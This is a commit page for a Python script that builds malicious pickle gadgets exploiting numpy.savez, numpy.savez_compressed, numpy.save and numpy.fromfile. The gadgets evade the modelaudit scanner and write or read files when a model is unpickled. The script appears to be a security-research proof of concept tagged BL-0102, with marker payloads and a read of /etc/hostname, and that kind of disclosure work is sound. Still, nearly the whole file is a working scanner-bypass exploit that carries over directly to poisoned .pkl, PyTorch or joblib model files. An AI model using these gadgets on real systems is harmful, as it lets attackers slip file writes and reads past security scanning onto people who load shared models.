celvexgroup commited on
Commit
cba4a3a
·
verified ·
1 Parent(s): 664e53a

Upload build_gadgets.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. build_gadgets.py +88 -0
build_gadgets.py ADDED
@@ -0,0 +1,88 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ BL-0102 gadget builder -- modelaudit 0.2.49 numpy.savez / savez_compressed
4
+ file-write-on-load scanner bypass.
5
+
6
+ Builds four standalone pickle files that each carry a single REDUCE opcode:
7
+
8
+ evil_savez.pkl -> numpy.savez(<out>/MARK_savez, [13.37])
9
+ evil_savez_compressed.pkl -> numpy.savez_compressed(<out>/MARK_savezc, [13.37])
10
+ control_numpy_save.pkl -> numpy.save(<out>/MARK_save, [13.37]) (POSITIVE CONTROL)
11
+ secondary_fromfile.pkl -> numpy.fromfile('/etc/hostname') (READ-side corroboration)
12
+
13
+ Payloads are BENIGN: they write a small, valid .npz/.npy marker to an
14
+ attacker-controlled ABSOLUTE path, or read a world-readable file. No RCE,
15
+ no network, no destructive action.
16
+
17
+ The REDUCE that pickle emits here is identical to what an attacker would ship
18
+ inside a .pkl / PyTorch .bin / joblib model file; on unpickle Python calls the
19
+ first element (numpy.savez) with the second element (the args tuple).
20
+
21
+ Usage: python build_gadgets.py [OUTDIR] (default OUTDIR=/work/final)
22
+ """
23
+ import os
24
+ import pickle
25
+ import sys
26
+
27
+ OUTDIR = sys.argv[1] if len(sys.argv) > 1 else "/work/final"
28
+ os.makedirs(OUTDIR, exist_ok=True)
29
+
30
+ MARK_SAVEZ = os.path.join(OUTDIR, "MARK_savez") # numpy.savez appends .npz
31
+ MARK_SAVEZC = os.path.join(OUTDIR, "MARK_savezc") # -> .npz
32
+ MARK_SAVE = os.path.join(OUTDIR, "MARK_save") # numpy.save appends .npy
33
+ MARKER_CONTENT = [13.37]
34
+
35
+
36
+ class SavezGadget:
37
+ def __reduce__(self):
38
+ import numpy
39
+ return (numpy.savez, (MARK_SAVEZ, MARKER_CONTENT))
40
+
41
+
42
+ class SavezCompressedGadget:
43
+ def __reduce__(self):
44
+ import numpy
45
+ return (numpy.savez_compressed, (MARK_SAVEZC, MARKER_CONTENT))
46
+
47
+
48
+ class SaveGadget:
49
+ # POSITIVE CONTROL: numpy.save reaches builtins.open('wb') directly,
50
+ # so modelaudit's FILE_WRITE call-graph analyzer flags it CRITICAL.
51
+ def __reduce__(self):
52
+ import numpy
53
+ return (numpy.save, (MARK_SAVE, MARKER_CONTENT))
54
+
55
+
56
+ class FromfileGadget:
57
+ # SECONDARY: arbitrary file READ via numpy.fromfile (C-level reader,
58
+ # opaque to the Python source call-graph).
59
+ def __reduce__(self):
60
+ import numpy
61
+ return (numpy.fromfile, ("/etc/hostname",))
62
+
63
+
64
+ def emit(name, obj):
65
+ path = os.path.join(OUTDIR, name)
66
+ with open(path, "wb") as f:
67
+ # protocol 0 -> human-readable REDUCE, easy to disassemble
68
+ pickle.dump(obj, f, protocol=0)
69
+ return path
70
+
71
+
72
+ built = [
73
+ emit("evil_savez.pkl", SavezGadget()),
74
+ emit("evil_savez_compressed.pkl", SavezCompressedGadget()),
75
+ emit("control_numpy_save.pkl", SaveGadget()),
76
+ emit("secondary_fromfile.pkl", FromfileGadget()),
77
+ ]
78
+
79
+ print("BUILT:")
80
+ for p in built:
81
+ print(f" {p} ({os.path.getsize(p)} bytes)")
82
+
83
+ # Show the opcode stream of the primary gadget so the REDUCE is auditable.
84
+ import pickletools # noqa: E402
85
+
86
+ print("\n=== pickletools.dis(evil_savez.pkl) ===")
87
+ with open(os.path.join(OUTDIR, "evil_savez.pkl"), "rb") as f:
88
+ pickletools.dis(f.read())